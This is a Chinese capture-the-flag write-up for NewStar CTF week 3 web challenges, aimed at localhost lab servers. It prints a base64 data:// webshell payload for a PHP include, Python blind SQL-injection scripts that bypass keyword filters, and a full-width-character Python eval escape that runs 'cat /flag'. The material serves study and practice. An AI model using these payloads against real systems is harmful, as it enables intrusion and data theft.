当前位置: 首页 > news >正文

NewStar CTF week3 web wp

week3

include me

题目打开过5秒就会自动跳转,赶紧冲手速把代码复制下来

<?php
highlight_file(__FILE__);
function waf(){
    if(preg_match("/<|\?|php|>|echo|filter|flag|system|file|%|&|=|`|eval/i",$_GET['me'])){
        die("兄弟你别包");
    };
}
if(isset($_GET['phpinfo'])){
    phpinfo();
}

//兄弟你知道了吗?
if(!isset($_GET['iknow'])){
    header("Refresh: 5;url=https://cn.bing.com/search?q=php%E4%BC%AA%E5%8D%8F%E8%AE%AE");
}

waf();
include $_GET['me'];
echo "兄弟你好香";
?>

传入参数iknow就可以防止跳转,看一下绕过,大致都被禁用了,根据伪协议提示想到data协议,但是php也被禁用了,于是只能翻文档,找到编码绕过在这里插入图片描述

payload:
http://127.0.0.1:63097/?iknow=1&data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+

看wp时发现一些细节需要注意

  • 编码后最后不能是+,会被解析成空格
  • 如果密文中带=号被过滤,可以采取明文前多加几个空格的方法
    在这里插入图片描述

blindsql1

提示盲注,进来随便尝试一下,发现不给回显,一些关键词可能被禁用
在这里插入图片描述
测试一下,发现空格,union,=,/都被过滤了

  • =号的绕过可以用like或in
  • 空格和/的绕过可以用括号
  • and前面是字符串或者括号可以不加空格

写一个盲注脚本,利用name=alice and 猜测值=实际值,如果猜对,and后面是true,alice的信息会被带出,注意要在alice的后面加上’来闭合
记录一下写脚本时候踩的坑

  • 当用like或in代替=时,两边的数据都要加上(),不然会被识别成一整个字符串
  • ord(c)一定要放到{}里面,因为这是python的代码,sql不会执行
import string,time,tqdm,requests
url='http://127.0.0.1:62459/'
result=''
for i in tqdm.trange(1,100):
    for c in string.digits+string.ascii_letters+'_-':
        time.sleep(0.2)
        tables='(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like(database())))'
        char=f'ord(mid({tables},{i},1))'
        bl=f'(({char})in({ord(c)}))'
        p=f'Alice\'and({bl})#'
        response=requests.get(url,params={'student_name':p})
        if 'Alice' in response.text:
            result+=c
            print(result)
            break

到25时爆破速率明显减慢,猜测只有这几张表在这里插入图片描述
courses,secrets,students
接下来爆破secrects列名
在这里插入图片描述
随后在三列中翻翻flag

for i in tqdm.trange(1,100):
    for c in string.digits+string.ascii_letters+string.punctuation:
        time.sleep(0.2)
        tables='(select(group_concat(secret_value))from(secrets)where((secret_value)like(\'flag%\')))'
        char=f'ord(mid({tables},{i},1))'
        bl=f'(({char})in({ord(c)}))'
        p=f'Alice\'and({bl})#'
        response=requests.get(url,params={'student_name':p})
        if 'Alice' in response.text:
            result+=c
            print(result)
            break

臭皮的计算机

根据提示进入到/calc,随便测一下,发现会返回报错信息,且输出使用print(eval),测试system,有特殊信息,说明应该是要绕过执行命令在这里插入图片描述
连续测了system,shell_exec,phpinfo,似乎全都被禁用了,开源代码看一下,发现能看到代码逻辑,且字母全被过滤了在这里插入图片描述
做不下去了,开wp看一看,提到用全角字符绕过,Google一下在这里插入图片描述
因为是python脚本,所以不能直接用system,在这里也是学到一个新姿势在这里插入图片描述
在这里插入图片描述
转为全角字符时报错,猜测是因为括号内字符不能继续用全角,采用chr函数或八进制绕过

str='oscatflag'
res=''
for i in str:
    res+=f'chr({ord(i)})+'
print(res)

结果又被禁用了,看wp一下子想通了,全角字符在当作函数名或者import使用时可以正常运行,所以数字和括号需要用半角字符

_import_(chr(111)+chr(115)).system(chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103))

臭皮踩踩背

这道题似乎出什么问题了
在这里插入图片描述

这照片是你吗

触及到知识盲区了,顺着wp做一做
在这里插入图片描述
静态文件的提示,说明应该去找可读文件,随后,从响应标头里找到疑似flask框架的信息在这里插入图片描述
随后,根据flask框架,猜测主程序名是app.py在这里插入图片描述
路径穿越回根目录看一下,被禁止访问了,但是可以访问下级目录,试试看一些默认位置

在这里插入图片描述
之后因为本地抓包的配置一直没弄好,就一直卡在这里了

http://www.dtcms.com/a/55307.html

相关文章:

  • 玩转python:掌握Python数据结构之栈Stack
  • SPI学习笔记
  • 数电笔记——第二章 逻辑代数基础(二)
  • seacmsv9报错注入管理员密码+orderby+limit
  • Django下防御Race Condition
  • 【时间序列】因果推断:从时序数据中探寻“因”与“果”
  • GStreamer —— 2.9、Windows下Qt加载GStreamer库后运行 - “教程9:媒体信息收集“(附:完整源码)
  • WebSocket(WS)协议系列(四)SSL/TLS协议
  • flask学习3-深入
  • ConcurrentHashMap底层原理
  • RK3588部署YOLOv8(2):OpenCV和RGA实现模型前处理对比
  • 网络安全需要报班学习吗?
  • 重塑未来:生成式AI如何重构企业数据基因?三大技术重构的生死局
  • Paper Reading | AI 数据库融合经典论文回顾
  • ‌HTTP/1.0、HTTP/2.0和HTTP/3.0的区别
  • Pytest自动化框架
  • 深入理解 JavaScript 执行上下文
  • 【LTSPCIE】D触发器的搜索和使用
  • K8S高可用Web应用部署方案
  • Docker网络设置
  • java遍历
  • qt小项目,简单的音乐播放器
  • PyTorch深度学习框架60天进阶学习计划第13天:模型保存与部署
  • CogView: 基于Transformer的通用领域文本到图像生成
  • 国产编辑器EverEdit - 设置文件类型关联为EverEdit
  • 智慧菜场系统(源码+文档+讲解+演示)
  • 文档操作方法得合理使用
  • python 海龟作图 从爱心到旋转爱心
  • 专题二找到字符串中所有字母异位词
  • RuleOS:区块链开发的“新引擎”,点燃Web3创新之火